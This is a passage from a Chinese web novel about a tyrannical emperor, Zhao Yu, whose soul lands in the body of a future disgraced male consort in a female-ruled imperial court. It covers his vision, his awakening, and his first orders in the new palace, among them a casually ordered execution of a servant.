《直男皇帝穿到女尊世界后 GB》 1. 穿成男宠 赵煜有一下没一下地把玩着手里的匕首,脸上没有什么表情。 他仍坐在勤政殿那把冰冷的龙椅上,桌案上堆积着满满当当的政务,六根蟠龙柱上金龙腾云驾雾栩栩如生,稳重庄严的青石地面反射出他影影绰绰的倒影。 但眼前除了这见惯了的装潢,还另外有一番景象。 赵煜垂着眼,漫不经心地瞥视着下首缥缈的幻影。司马迁曾写:海旁蜃气象楼台,广野气成宫阙然,与眼下的情形大差不差。 一个陈旧的寝宫虚虚实实地浮现在面前,规格制式与本朝大不相同。宫殿的主人正立于庭院之中,听着女官诵读“贵君有孕,朕心甚悦,阖宫欢喜”的口谕,看着来往的宫人步履轻快地摆入皇帝恩泽六宫的奖赏。这些人突然来了又默默地离去,只留下和这座旧宫室格格不入的喜意,半响,忽然低笑出声: “贵君怀孕,阖宫欢喜……陛下是知道怎么杀人诛心的,一点情面都不给旧人留。” 天下男儿皆薄幸,别提帝王。 赵煜看了半天的后宫恩怨,已经懒得再抬头。他不喜鬼神之说,更对一个疑似是前朝男宠的人的生前事提不起半分兴趣。 何况这男宠的面容生得与他有四五分相像,一双丹凤眼,眉梢如刀削斜飞入鬓,薄唇削鼻,顶着这么一张脸困居深宫门庭冷落,全无半点威严和气势,叫赵煜看上一眼就觉得被咯了眼睛。 这男子的宫侍却是对他忠心耿耿,一边咬牙愤愤将挂在树上的红绳扯了去,一边嘴里鼓劲似的反驳道:“主子何需自薄?您与陛下年少夫妻,情真意切,他白氏算什么?一条背主的狗罢了。陛下不过是因为子嗣稀少才一时欣喜,给了他荣宠,怎么能与昔日对您的情谊作比呢?” 这番话说得的确是衷心赤诚恳恳切切,可话里那句“昔日对您的情谊”委实有些反讽的意味。 赵煜正随意摩挲着匕首上的雕花镶宝,对着光照了照雪白锃亮的刀刃,却听男子也是哂笑一声,重复了一遍:“昔日的情谊?” “什么情谊?” 他伸手摘下一条红色的许愿带握在掌心,注视着上面龙飞凤舞的字迹,声音中含着淡淡的笑意:“是彼时皇权式微,赵家势大,她不得已选了赵家人入宫?还是后来太皇太后崩,赵家获罪,她立即另择了良人相伴?” 鎏金的八字祈语在阳光下熠熠生辉,他看得话里的笑意愈浓,轻飘飘地洒落下来,“亦或是现在良人有孕,她迫不及待地赏赐六宫,好叫所有人知道,她很高兴,这一胎才是她心心念念期盼着的孩子?” 天佑皇嗣,如日之升——字里行间洋溢着一个帝王毫不作伪的愉悦和盼望。宫侍呐呐,无言以对。赵煜在心中轻嗤一声,心说他跟一个孩子吃什么醋,皇家血脉不理所应当比一个男宠可贵得多么? 却听男子喉咙里溢出一声闷笑,问了一句:“那皇长女呢?” 男子抬起头,一头乌黑的长发披散在背,衬得他眼更厉,眸更黑,黑到简直发亮,仿若其中有寒星一般。 “——那我的孩子呢?”他问,神情冷静却有一股逼人的锐意,“昔日白氏体弱,不能怀子,我十月怀胎,皇长女却被抱去了他的宫里。现在他既然有孕,那皇长女又当如何?” 男子生育? 这下赵煜终于掀起了眼皮。 他有些怪异地扫过青年脖颈的喉结,又打量了一番他颀长的身形,心道这不仅是个失宠的男宠,还得了失心疯。 那个宫侍的表情却顿时变得有些慌乱,只能绞尽脑汁地劝慰道:“主子,您怎么突然想到这一层上去了?小殿下是陛下的嫡长女,金尊玉贵,白氏怎么胆敢苛待她?况且,陛下也并非是那种薄情寡恩之人,您不是最清楚吗? “当年赵家犯了那样的大罪,陛下本可以赶尽杀绝,可角宫虽深,您到底好好的,小殿下虽不能在您膝下承欢,但也被好好教养着……奴才前几日出去还看见小殿下了呢,小主子长得很好,个子高,模样白净,一看就是锦衣玉食.精心伺候着的。性子也好,见奴才一直盯着她看,还冲着奴才笑了笑呢……” 赵煜竟还从中察觉了满腔的真情实意,不由得犹疑地眯了眯眼睛。 这宫侍看起来十八九岁的模样,话里透着股令人发笑的天真,倒挺会搭台子唱戏。赵煜目光审视地看着他,竟没从他脸上察觉到任何端倪,仿佛真的煞有其事似的。 再转眼向男子看去,却见对方的身体赫然一绷,手指也瞬间攥紧了。 大抵于赵煜而言,这个所谓的“孩子”自然是假的,是顺着疯子胡言乱语说的谎话,所以只会觉得宫侍这话虽然窝心却也十分可笑。可于这男宠而言,大概与万箭穿心无异。 赵煜少见地顿了一下,很快又收回思绪。 但那宫侍见男子没说话,还以为对方被自己说服了一般,语气逐渐染了几分昂扬:“要我说,主子,陛下心里其实就是有您的。只是因为当初赵家权势太盛,陛下为了巩固皇权,不得已才警惕您、疏远您。要不然怎么会现下事情渐渐尘埃落定,角宫立即就开了大门?说不定,今日赏赐的事只是个筏子,用来试探您态度……” 赵煜听着,一时有些一言难尽,看来这宫侍也全然是个疯子。什么皇帝会把真心喜爱的人废弃在冷宫?哪怕犯了诛三族的重罪,只要皇帝想,也大可装作无事发生。 而历史上有几人被废后有好下场的?家族失势者就更不可能了,简直痴人说梦。 “因为赵家——”男子忽然一笑。他这个真正疯了的人看起来倒比那宫侍理智得多,听着这番长篇大论,眉眼一瞬上扬起来,“我也拿这话骗过自己很多次。” 宫侍一噎,男子勾了勾唇,嘴角的弧度带着一丝嘲讽,“可事实是,如果我不是姓赵,她更不会多看我一眼。” 微风轻拂过庭院,将树上无数红色系带吹得飘飘洒洒。赵煜见男子缓缓将那条许愿带攥在了掌心,问道:“真心喜欢一个人是什么样子?” 他缓缓地说:“白氏民间出身,身份卑微,就晋位分给他;他身体差怀不了孕,就把我的女儿给他。现在他身子养好了,用不着了,”他脸上依旧挂着笑,语调依旧云淡风轻,但内里的寒意却一层一层深深地蔓延开,直戳肺腑,“一旦白氏生女,以陛下那样爱恨分明的性子,焉知会不会废了嫡长女,为她真心喜爱的孩子铺路呢?” 宫侍张了张嘴,觉得这话太突然也太惊心动魄,一时间找不到语言。半天,只能无措道:“陛下……陛下未必是这么想的。再说……白氏也未必能生出个女儿来呢?” 男子没有说话,手指微微一松,那条许愿带正静静躺在他的手掌心。赵煜注意到他几次的动作,显然十分在意这个物件。想来在对方的想象中,皇帝应该从没有给那个皇长女写过这个。 不过先前因为距离太远,赵煜没能看见上面的祈语,此刻倒真生出几分好奇,皇帝到底写了什么,值得对方这么挂心。 像是与他心有灵犀一般,男子这时也看向了带子上的字迹,嘴里发出一声嗤笑,低声念了一遍:“天佑皇嗣……如日之升。” 居然写的是这一句祈语? 赵煜眉峰不由得一压。 天佑皇嗣,福泽绵长。承天地之灵,秉乾坤之气,生而聪慧,长而仁德,身康体健,福寿双全……如日之升,光耀四海;如月之恒,辉映千秋。承祖宗之基业,继社稷之宏图,为万民之福祉,开盛世之太平——这是大梁朝太宗皇帝写给皇太子的贺词,赵煜记得很深。此地竟然也有吗? 宫侍听不懂什么“如日之升”的含义,只觉此刻主子身上有股迫人的凉意,如九尺寒冰般刺骨,迸溅出渗人的威压。 像是心中有了成算,男子微微一笑,松开手心的许愿带,任它飘落在地上,悠悠笑了,轻巧地下了结论:“白氏养了我的女儿,又想养一个自己的,天底下怎么会有这样的好事呢?” 宫侍呆了呆,不知道自己是不是误会了主子的意思。 哦?赵煜听了这话倒是对这个男子有些刮目相看了,虽然疯了,但疯得清醒。 假设他真的有个亲生女儿可以“争储”,那不论是妄想女儿日后成功夺嫡,还是退一步只求她平安长成,那白氏就断然不能有自己的亲生骨肉。 与其在冷宫中苟且偷生,渴求未来一份虚幻的垂怜,倒不如真正干一些实事,倒也叫人高看一眼。 “主子……”宫侍就是再愚钝,此刻看着主子那毫无笑意的眼神也懂了,吓得双腿一软,跪倒在地。 “主子!您这是想做什么?”他急促地说道,“一来,事情还没有糟糕成您想的那样子,二来白氏正得宠,防备森然,如何能够轻易得手?就算侥幸事成,陛下要是彻查,您到底人手不足,如何能够天衣无缝地躲过去,不牵扯到小殿下?唯有一死了之……主子,您难道要为了一个不确定的揣测,轻易地就搭上自己的性命吗?” “事到如今,若还对事情抱有幻想,那我才是真正的蠢货。”男子眉目褪去了虚假的笑意,恢复了应有的冷峻,“成成败败,生生死死,不过如此。我已经不想再猜上位者的心意了,也不想以后夜夜睡不安稳,求神拜佛。求白氏不要生女,求皇帝是真心喜爱皇长女,求日后中宫无女,姊妹和睦,没有争斗。” 宫侍惊慌地叫着“主子”,分外失措,不明白只是妃嫔有孕,皇帝赏赐六宫,事情怎么发展成了现在这个样子? 叫得赵煜心烦意冗,蹙着眉把匕首扔到了一边,心道一个疯了的人也会有如此条理清晰的逻辑吗?字字句句,有因有果,分明再真实不过。 一个疯子为了自己的孩子,竟也会做出这样的决定吗? “我早就该死了。”男子的声音平淡自若,“我活着,就是提醒陛下,她还有一段被人辖制不能顺心的时光;提醒白氏,他养女的生身父亲还在;提醒朝臣,尊贵的皇长女还有个罪大恶极的父族。我早该死了,只是一直以来都心存侥幸,却原来她是真的喜欢他,原来我们之间真的没有一丝情分。” 宫侍不住地哽咽,男子道:“我不惧死,只怕死得天真,死得哀怨,死得轻如鸿毛。” “天启四年,赵家欺君罔上,满门抄斩。”他最后轻轻一笑,定定道,“算上我赵煜,才算真正的满门。” 此时春寒料峭,院中几树好花,风吹花落。 赵煜听到这人自称自己为“赵煜”时,心脏剧烈一跳。他抬眼带着几分惊疑地再度望向那人,却见对方轻轻地闭上眼,这下才看清,他眉头上两颗细细小小的红痣,不正与自己的如出一辙? 赵煜猛地站起身,不自觉向下面迈了一步,阳光如同金色的绸缎从大殿门口照入,却径直穿透男子的身体,尽 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那人等了等,没得到回音也不在意,继续在他脖子上擦了两下,看着好像干净了便收了手。正待从床沿起身之时,忽听一道脚步由远及近从外头匆匆进来,这人身形就再一停,复又坐住了,赵煜听她的语气就像是随口一问:“曾掌事怎么来了?”边随手将帕子扔进了面盆。 宫中几时有姓曾的掌事了?赵煜在混沌中察觉出一丝异样,正觉得疑惑;又不悦哪儿来的奴婢胆大包天敢坐上皇帝的床榻,还用一副主子的口吻说话。 却听来人先是福了一礼:“奴才见过陛下。”随后担忧道,“太皇太后正要就寝,却听说凤君晕倒了,心里着急,叫老奴来看看。” 这个人的声音同样分外陌生,话里的称谓却弄得赵煜几乎是悚然一惊。陛下?他在称呼谁陛下? 只听先前的女声略微一顿,而后声音微沉地说:“叫皇祖父担心了,是朕之过。” 这声陛下竟是称的是她?赵煜满腹惊疑,且惊且怒,竭力想要睁开眼睛却不能。 那女声接着轻描淡写地说道:“君后宫里有个小侍不太老实,朕吃醉了酒,差点让他钻了空子。君后一时胸闷,现在吃了药,已经睡熟了。” 她三言两语把事情带过,随后吩咐道,“你去禀报太皇太后,君后并无大碍。皇祖父年事已高,叫他不要为此事伤神。” 帝王的语气堪称是平和,听不出什么旁的情绪,曾掌事听了却不由得愣住了,心下几乎是一凛——天子是何等的身份,何需向旁人解释自己后院儿里的事?就算是太皇太后也未必听得。 他心下惴惴,面上不动声色地屏息应道:“是,陛下。”脑子里飞快地闪过几个念头,不知道陛下的异样是因何而来,是不悦凤君为了个爬床的奴才小题大做,还是有意要刺一刺长春宫的手伸得太快、太长? 赵煜躺在床上一动不能动,心中的寒意更是蔓延到全身——梁朝决没有凤君、君后这样的称谓,历朝历代也没有听过哪个女子做皇帝的。是他正在做梦还没有醒,还是这群人都疯了? 此时已过亥时,夜色深沉,烛火跳跃。曾掌事躬身又关切了凤君几句后,就以“回禀太皇太后”为由,急忙告退了。他一走,殿内冷不丁陷入了一片寂静。 一个人独处时尚不觉得安静有什么,但满屋子都是人却也落针可闻,则显得气氛冷凝异常,遑论此刻赵煜还是躺在床上心神俱震的状态。他只觉一道目光不咸不淡地落在了他的身上,没有游离,似有千钧重。 赵煜已经能够确定,在这群人的眼里嘴里,自己的身份是所谓的“凤君”。虽是君,是男人,但其实地位就等同于“皇后”,是皇帝的附庸;而这女声虽是女人,但却是皇帝,是九五之尊。 他倍觉荒唐,只觉得事情太过荒诞不经,不可理喻,口舌不由得一阵发干。 殿角的蟠龙烛台静静地燃烧着,忽然“噼啪”爆出一簇灯花,惊得垂帷一颤。 像是被这道声音吵得回了神,床榻一轻,那股隐隐的压迫感也随之一轻。一只手伸过来,给赵煜掖了掖被子,嘴里问道:“怎么那么大的醋性?” 声音带着两三分笑意,似是宠溺,但赵煜轻易察觉出了里头的不虞。 女声说完,也没想得到什么回应,一句过后,就直起了身体,问一众宫侍道:“今日凤仪宫谁当值?” 有几个人出来应声。 “照顾好你们主子。”抬手放下了半边帷幕,便要迈步离开。 赵煜原本正在心绪纷飞,直到听到其中一名宫侍恭敬应“是”的声音时,眼皮倏地一跳,身体也蓦地僵直住了——这不是那个在幻象中抽抽噎噎的宫侍吗?只是声音较那时青涩许多,只有十五六岁的样子。 可他明明是幻象之人,不存于世,怎么会出现于此? 这个发现叫赵煜猛然间意识到了什么,后脊顿时像是雷劈一般一阵发麻,只能不可置信地想道——他现在到底身处何地,姓甚名谁?他晕倒之后究竟发生了什么? 回想幻象中那男宠曾经提起“太皇太后崩,赵家落败”,他嘴里的太皇太后,难不成就是这里的这个? 男宠、宫侍、太皇太后……想起这几桩,赵煜呼吸急促起来,再不能质疑自己是在做梦。无数字句回响在他的耳边:“贵君有孕,阖宫欢喜。”“那皇长女呢,皇长女又当如何自处?”“我早该死了……” 他在“算上我赵煜,才算真正的满门”的声音中猛地睁开眼,后背和额头沁出了一层细密的汗珠。 2. 直接杖毙 黄色的帷帐在视野内晃了几晃才变得清晰起来,赵煜下意识地撑起身来,目光向门口看去,只来得及捕捉到一角玄色的衣袂。那袖口上金丝银线绣制的海水江崖纹在灯火下流光四溢,反射的光芒微微刺痛了一下他的眼睛。 赵煜粗喘了一声,只觉得心跳猛烈异常。一旁侍奉的宫侍惊喜道:“殿下,您醒了?”刚要高声呼喊,却见凤君一把掀开了锦被,寒声斥了一句:“住嘴!”还没等他反应过来,便赤脚下床,几步迈到了梳妆台前。 梳妆台上镶嵌着一面巨大的镜子,毫无保留地照射着周围的一切。赵煜缓了缓神,深吸了一口气,才定睛向镜中看去,然后顿时就被钉在了原地。 这面铜镜透亮而明晰,将人映得纤毫毕现。镜中的男子眉如剑锋,唇若丹砂,漆黑的双眸中寒意森然,透出一股凛冽肃杀之气。 是张熟悉的脸,但却不是赵煜自己的面容。 果真是幻象中那个男宠的样貌。 赵煜紧紧地盯着镜子里的人影,一时间难以置信。他是十八岁登基、手腕强硬的帝王,内轻赋税,整吏治,清君削藩;外厉兵秣马,攘夷拓土,威震四海。怎么会想过一觉醒来,自己居然会成了他人后宫中的一名妃子,从一位高高在上的天下至尊,一下子沦落成了个可以随意任人摆布左右的物件? 多少功绩和踌躇,都化为尘与土。 “殿下?……” 这番动作下来,一旁的宫侍像是被吓住了,惴惴不安地唤了他一声,想要过去扶他坐下,但一时又不敢伸手。 另外有一名宫侍,虽然也不明白发生了什么,但看着他照铜镜后无比难看的面色,还以为他在为自己的容貌生气,忧心忡忡劝解道:“殿下天人之姿,无可比拟。那小侍是借了陛下醉酒之机才险些得逞,殿下何必质疑到自己的头上去呢?” 赵煜没在意他说的什么胡话,或者说,现在什么话都入不了他的耳了。他抬起眼来扫视四周,只觉此处雕梁画栋、富丽堂皇,有股淡淡的沉香气味萦绕在鼻间,视觉、听觉、嗅觉、触觉无一不真,无一不鲜明,舌头上甚至还残留着药物淡淡的苦涩味。 事已至此,再没有什么侥幸可言。 赵煜无心解释,只道:“出去,叫朕……叫我静静。” 又是一阵怒火中烧和不甘,他现在连自称“朕”的权力都没有了。 几个宫侍闻言愣了愣,都有些迟疑。主子刚从病中苏醒,还是一副如此失魂落魄的模样,身边怎么能离得了人? 但凤君命令下了,只得恭敬地应了一声,就一步三回头地退了下去。 赵煜半天终于找回一丝理智,重新坐回床榻上,不再去看那镜中的景象。但他丢得开镜子,却丢不开眼前的处境。 先前坐在勤政殿内居高临下往下看的场景在脑海里不断闪回着,那幻象出来得突然,他传召了几名术士,都没人能看出个所以然。他是天子,天命所归,自然不惧这些怪力乱神,见它只出现在了勤政殿,又不过只是一道摸不着的影子,于大梁造不成任何实质影响,干脆就置之不理,全充当了批改奏折时的乐子。 若早知如此…… 赵煜沉着脸收回了思绪,缓缓地扫视着周围的环境。他眼前垂落着半边床幔,丝缎的质地细腻柔滑,缎面上泛着珍珠般的光泽;半掩的床幔后隐约可见粗壮的朱红立柱,其上瑞兽雕刻得活灵活现,跃然而出,柱身直抵龙凤穹顶;汉白玉铺就的地面光滑如镜,上面盖着一层厚实而奢华的地毯;宫殿四处摆放着精美的器具,墙壁上悬挂的墨宝如龙飞凤舞;宫殿的尽头,一扇巨大的琉璃窗璀璨夺目,透出浓重如墨的夜色。 赵煜继位尚不足五年,国库并不能充盈到使他大兴土木。即使拿整个梁宫的造价与此处作比,恐怕也望其项背。 但这凤仪宫修得再好,住在里面的人也只是一个攀附他人的后妃,是鱼肉而非刀俎,是权力的玩具而非掌控者,并不能坐在龙椅上纵横捭阖,制定天下的兴衰大计,掌握天下人的生杀大权。 赵煜在一息之间想了很多,面沉如水。他不喜眼下云里雾里浑浑噩噩的状态,有意想弄清楚现在他身处什么朝代、朝廷的局势如何、后宫的局势如何,但这显然不是他现在能开口随便问的。他虽然难以接受自己变成了一名后宫妃子的现实,但也不想被当做邪祟烧死。 往好里想,起码这具身体的身份是尊贵的凤君,而不是真正地位卑贱的男宠;皇帝虽然会在几年后废他至冷宫,但现在他依旧背靠赵家,皇帝不想宠也得宠,旁人不想敬也得敬。 想到此处,赵煜心里总算勉强有了一些安慰。几个宫侍已经在门外候了半天,都不见主子叫人进去服侍。知道主子是在生气,但想到主子生着气孤身一人,万一出了什么差错,那可真是死了也难逃其咎,便商量着叫一个人进去看看。 赵煜见一个宫侍小心翼翼地迈着碎步进来,柔声唤了一句:“殿下。”他虽然心情糟糕透顶,但不至于拿无知无辜的奴才撒气。 只是看见那宫侍像是对待病弱女子似的,掐着嗓子问他“太医新煎的药好了,殿下要不要趁热喝下”时的模样,胳膊上情不自禁地起了一层鸡皮疙瘩。 男的不男,女的不女。 这到底是什么鬼地方? 赵煜蹙起眉,正要应答他,脑海中忽然闪过幻象中一幕——先前那男子说“我十月怀胎,孩子却被送给白氏抚养”,倘若那男子不是患了疯病,那这里居然是男子生育? 顿时,赵煜之前给自己做的什么心理建设都没有用了,他瞬间僵硬在原地,大脑一片空白。原本这具身体就是因为胸闷气短才刚刚晕倒,现下他只觉得从心口处蔓延出一种痛楚,不由自主地捂住胸口,重重地喘了几口气。 宫侍被吓得愣了一下,赶忙扑过来:“殿下,您怎么了?殿下!” 一阵兵荒马乱,几个太医拎着药箱急匆匆赶来。这几人有老有少,但都是女人。为首的老妪先是往赵煜手腕上搭了一块帕子,才小心地开始诊脉:“凤君殿下这是怒火攻心……” 赵煜闭了闭眼睛,默不作声地看着众人手忙脚乱地替他取药、煎药、扶他休息,到底没去向旁人验证这里是否真的是男性生子。 他阖了一会儿眼,等药能入口了,便一气儿灌下。 药中有黄连,必定是极苦的。一个宫侍赶忙递上蜜饯,却见凤君看也不看,又简短地打发人出去后,就侧身躺下了。 宫侍们面面相觑了一会儿,见凤君现在连话都不想多说,只好先吹了蜡烛。但这下说什么也不敢离开了,不敢打盹地守了一夜。 - 赵煜从小到大,共梦见过两次祖宗祠堂。 一次在宫变之后、登基前夜。 他抬眼看见高高的神龛,肃穆的牌位,墙壁上的画像个个怒目圆瞪,在忽明忽暗的火光中凝聚成一道巨大的影子。 巨影斥道:“赵煜,你为了皇位,不惜杀害亲族,灭绝人伦,难道就不怕遭天下人唾弃,遗臭万年吗!” 赵煜岿然不动,反问道:“我为何不能即位?我从过军、赈过灾、杀过贪官,百姓哭送过。难道我不登基,叫那从小靡衣玉食娇惯大的货色当皇帝吗?” 巨影闻言,怒道:“到底是为了黎民百姓,还是一己私欲,你自己心里清楚!” 赵煜却依旧泰然自若,回道:“圣人尚且说论绩不论心,且成王败寇,向来如此。怎么,”他轻蔑地笑道,“有人哭鼻子向你们告状了?” 巨影被气得吹胡子瞪眼,但赵煜丝毫不为所动,嘲弄一笑,便踏出门槛而去。 第二次便是现在。 灯影憧憧,夜阑人静,暗风轻吹。 祠堂内,巨影俯视着他,问道:“梁帝赵煜,你在仿徨什么?” 赵煜席地而坐,没有言语。只是嫌恶地想道,这是对他的惩罚吗?要他失去一切,连身体都成了畸形。 那巨影彷佛知道他心中所想,皱眉不悦道:“赵煜,你囚禁父母,杀害兄弟,连噩梦都不会做一个,如今却为了此事耿耿于怀?韩信尚能忍受胯下之辱,你身为皇帝,却连区区此关都迈不过去吗?” 赵煜冷冷想道,那可能是韩信没有被逼着生孩子吧。 赵煜鲜少有如此情绪萎靡的时刻,哪怕在承位前夜面对先祖的质问也丝毫不感心虚。巨影见话激不到他,一时也沉默下来。 他这时倒不再横眉怒目,反而显得有几分温和,安静地陪着自己的后代坐了一会儿,而后放缓了声音,道:“赵煜,你即位几年来,收回大权,励精图治,使朝堂清明,百姓得以安居乐业。这些功绩,我们都看在眼里,史书也必定会为你重重记上一笔。” 赵煜做什么事,从来不求他人认可,更不在意后人评说。他政令一统,亲掌大权,肃清朝纲……种种举措,不过是他性酷好权,好征服人心,想要满足自己的欲望罢了。 此时听到先祖对他的肯定,也只觉得嘲讽,并不欣喜。 巨影知道他心中所想,却拿出他之前的话,笑叹着还给了他:“圣人还尚且说论绩不论心。” 赵煜一顿,终于微微抬起了眼睛。 巨影轻轻敲了一下他的头,语气中带着几分责备:“何必纠结那么多呢?没有权,再去争便是;不想……生孩子,想法子不侍寝便是。你是赵煜,难道身处异地,身份变更,就不是那个杀伐果决、运筹帷幄的赵煜了吗?” 赵煜听着这番语长长的拳拳之言,抬起头来看去。那巨影的脸上融合了历代大梁君主的影子,粗犷有之,潇洒有之。唯独那一双硕大的瞳孔,里面泛着奇异的温柔的光泽。 这个无数列祖列宗的化身最后冲他和蔼地笑了笑,肯定道:“去吧,大梁的第九代皇帝赵煜,不必迷茫前路,你知道路该怎么走的。” - 残梦依依。 赵煜做了一晚上的梦,第二天一早太医来请脉时,宫侍唤了几遍“殿下”,他才堪堪醒过神,递上了手腕。 太医给他诊完脉,松了一口气,言凤君殿下已经没有大碍了,只开了道安神的方子,便告退了。 赵煜被人服侍着起床、梳洗、用膳,此时的他已经完全冷静了下来,甚至有些心平气和——既然现在已经是这个局面了,他又没有重新投胎做人的打算,那就只能尽快接受,摸清局势,好为以后早做打算了。 御膳房精心准备了几样清淡的吃食,春笋鲜嫩,汤品清润,每一样都透着下位者细腻的心思,也隐隐昭示着他现在的地位。赵煜坐在桌前,一边缓缓用膳,一边在心中默默梳理着目前已知的情况,眉眼间带着几分沉思。 据幻象来看,这个朝代这些年来皇权式微,赵家势力庞大,因此为了笼络人心,稳固朝局,新帝登基后,特意选择了赵家人为后。直到天启六年,太皇太后崩,赵家被判欺君之罪,满门抄斩,这具身体随之也被打入冷宫,骨肉分离。 不过赵家是真的犯了欺君之罪,还是欲加之罪何患无辞,尚不可知。而后几年,白氏怀孕,皇帝属意白氏之女做储君,这具身体便为了给自己的女儿谋一条生路,不惜以命做赌,谋划联络旧部,断绝白氏的后嗣。 后面发生的事情赵煜并没有看到,但也能大概猜到,无论事成与不成,为了扫清一切痕迹,这具身体最终都只能以死谢幕了。 不过最终结局不堪,但此时太皇太后安在,情况还算利好。理清了这些脉络,赵煜心里有了大略的底,要想更近一步了解前朝后宫的局势,需得找一些书籍、邸报来看。 他正思索着,忽然听见外面大声吵嚷起来,有个年轻男声挣扎着哭嚷:“凤君殿下,殿下!” 赵煜面色不变,只手中的筷 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赵煜微微抬眸,不咸不淡地扫了对方一眼。 这个奴才忠心有余,却机智不足。日后在冷宫中磨搓了几年还对皇帝心存幻想也就罢了,现在主子还没作声,他倒先喘上了。 不过蠢也有蠢的好处。赵煜随口问了句“他想说什么”,这宫侍就呼了一声:“他还能说什么?”随即有模有样地推敲演绎了起来。他滔滔不绝的样子倒是跟幻象中的很是重合,赵煜也借此顺势弄清了昨晚究竟发生了什么事情。 原来也没什么。他这具身体十五岁就入宫,与皇帝成了婚。算起来,皇帝今年也不过十七岁,正是年轻英气的时候,那奴才便动了歪心思,趁主子在内室时毛遂自荐。 凤仪宫中发生了这样的丑事,还被主人当场撞见,加之可能也是年少慕艾,这具身体便一时感到头晕目眩,站立不稳。 皇帝见状,立刻命人宣了太医,同时下令将那奴才绑起,待凤君醒来后再亲自处置。 那奴才没能得逞,本就惊惧,听了这话更是胆寒,不由悔不当初,辩解说自己只是崴了脚没有站稳,才一头栽进陛下的怀中,并不是有意勾引,恳求殿下明察。 宫侍学完那个奴才平常眼珠子滴溜溜乱转的样子,又对比他此刻凄凄惨惨的狼狈模样,顿觉大快人心,哼道:“早看他不是什么好人,现在被吓得屁滚尿流有什么用,晚了!幸好陛下昨夜神智还算清醒,对殿下一心一意,当即就把他推开了。不然他自己心术不正事小,若影响了陛下和殿下的感情才算事大。” 赵煜听着他这句“对殿下一心一意”,心里不由冷笑一声。他不懂女人,更不懂这个世界的女人,但他懂帝王。 一个尊贵高傲的帝王,虽然不屑于花费心思在后宫身上,但有颜色好的小侍大着胆子投怀送抱,又何必拒绝呢?看一个人为讨好自己百般心思,装巧卖乖,不比面对一个家世显赫到不得不忌惮的凤君更加受用吗? 若真是情有独钟一心一意,那后面的冷宫之祸又是怎么来的? 赵煜没理宫侍这话,只问道:“这小侍姓什么?是不是姓白?” 先前幻象中,赵煜还清楚记得那宫侍有一句“白氏算什么?一条背主的狗罢了”。由此联想到,这个白氏应该是凤仪宫的奴才出身,后来被皇帝看中了,这才背叛了主子。 倘若这个小侍真是白氏,那就正好趁他还没有笼络帝心之前直接除掉,省得日后给他添堵。 赵煜这么一问,还真问住了几个宫侍。本朝的奴才有七数都是从民间选上来的,多是穷苦人家的孩子,往往叫一些“招妹”“盼妹”“若女”之类的名字,大街上随便喊一声保准有人回头。所以新奴才进了宫,上头自然会给他们取个新的。 这些奴才原本的名字都没有人在意,就更不会谈起彼此的姓氏了。互相看了看,都不知道那爬床的奴才本名叫什么。 “去查。”赵煜吩咐道,随即又补充说,“凤仪宫的所有人,原名、来历、在凤仪宫是什么职责,都写一份折子呈上来。” 凤君用的贴身宫侍,自然都是官宦之家出身,能识文断字。以为凤君是要整治凤仪宫的奴婢们,很快,其中一个便领了命,拿了纸笔挨个去问了。 赵煜慢条斯理地继续用膳,这具身体的口味与他倒还算契合,不至于入不了口。待吃完了东西,漱了口,那个宫侍也正好回来了:“禀殿下,那奴才本名张若吕,姓张,父亲是刘氏,家中也没有人姓白的。” 此地原来是随母姓,赵煜听出了这层意思,擦着手,淡淡“嗯”了一声,见那小侍不姓白也并不意外。想一步登天的人何其多,他充其量不过是最早出现的一个。 赵煜擦干了手,伸手接过整理好的册子,垂眼扫了一圈,见这三名近侍的名字分别叫做承光、明夷、昭侠。随后又翻看了其他人的信息,对凤仪宫的情况心里大概有了数,便放下名册,示意来人将其收起来:“承光。” 承光应了一声“是”,赵煜抬起眼,见他正是方才领了纸笔出去办事的宫侍,看着十六七岁的年纪,行事还算稳重。接着又开口叫明夷去藏书的地方,找一些本朝和前朝的史书、天启年间的邸报,还有画着人体构造的医书来看。 明夷也领命而去,只剩下一个叫昭侠的,正是幻境中的那个奴才。他见赵煜发话给旁人都派了事,立刻凑上前来,也给自己找了个事情做:“殿下,那个狗奴才该如何处置?是交给慎刑司查办,还是殿下要亲自审问?” 赵煜原本以为这个爬床的小宠是幻象中的白氏,才对他有几分兴趣。毕竟对方虽然现在泥足深陷,但日后可是一个能宠冠后宫的人物。 但如今看来,那小侍不过是个不相干的小角色,自然没什么耐心处理这些莺莺燕燕,随口道:“不必了,直接杖毙吧。” 3. 两颗孕痣 赵煜的母亲怀他的时候怀相很差,生产时又因为难产差点丢了命,有个天生华发的方士进言说赵煜是天生的凶恶之命,亲缘淡薄,是以他并不得父母的喜欢,十二岁就被送到军营,好“冲一冲他身上的煞气”。 后来他逼父退位,登基后的第一件事就是大清洗。诸侯、外戚、方士,血流成河。华发方士死前感慨说:“我果然没算错。”可他也说不清,究竟是赵煜的命数促成的这卦,还是这卦促成了赵煜的命数。 子欲避之,反促遇之。但不论因果如何,赵煜手上鲜血淋漓,杀人不过家常便饭,再轻巧不过。 眼下纵使到了陌生的地界,也不会有所改变。 赵煜云淡风轻地吩咐完,于他而言就算是了结了此事。一个欺主的奴才罢了,并不值得他多费心。 但昭侠听了却不由得愣住了。先前属是他最义愤填膺,此时却一副怀疑自己是不是听错了的模样,嘴里呆呆地“啊?”了一声,问道:“殿下不审他了吗?” 他这时候倒心软了起来,想起了先前那奴才口中的说辞,吞吞吐吐,发起了善心来:“可是他之前说,他是崴了脚才……” 如果不是看在他日后在冷宫中对主子不离不弃的份上,赵煜怎会留这么一个蠢材在身边?赵煜压了压眉宇,有些不怿。他虽然没有亲眼看到那奴才的行径,但他长了耳朵,听得见皇帝之前说“凤仪宫有个小侍不太老实”。 这个皇帝扮猪吃老虎多年,能铲除了赵家,势必很擅长做表面功夫。难道会在人眼皮子底下勾搭小侍,还以为能推诿了责任? 承光放了名册回来,听了一耳朵凤君和昭侠的对话,此时轻轻撞了一下昭侠的肩膀,叫他不要再多嘴,自己默默地给赵煜续了一杯茶。 然而,尽管他表面上看似是在拥护赵煜的意思,但既然听见了命令,却也没有去执行,赵煜看得出来他其实也有话说。 接连被两个奴婢顶撞,赵煜心里不免生出几分稀奇,这具身体究竟是何等的好性子,敢让身边的奴才有胆子爬床,敢让宫侍质疑他亲口做的决定? 不过赵煜虽然是轻易不能容人置疑的脾气,却也并非全无耐心。初来乍到,且看承光不是面慈心软的那种人,便示意他有话直说:“怎么?” 承光张了张嘴,一时不能言。他是今年刚入宫的奴才。依照旧例,后妃入宫时不得带其他人,他背景清白,性格稳重手脚麻利,被调来供凤仪宫驱使后,就被拿来当一等奴婢培养。 他很感念这份提拔之恩,因此不得不多为主人考虑。 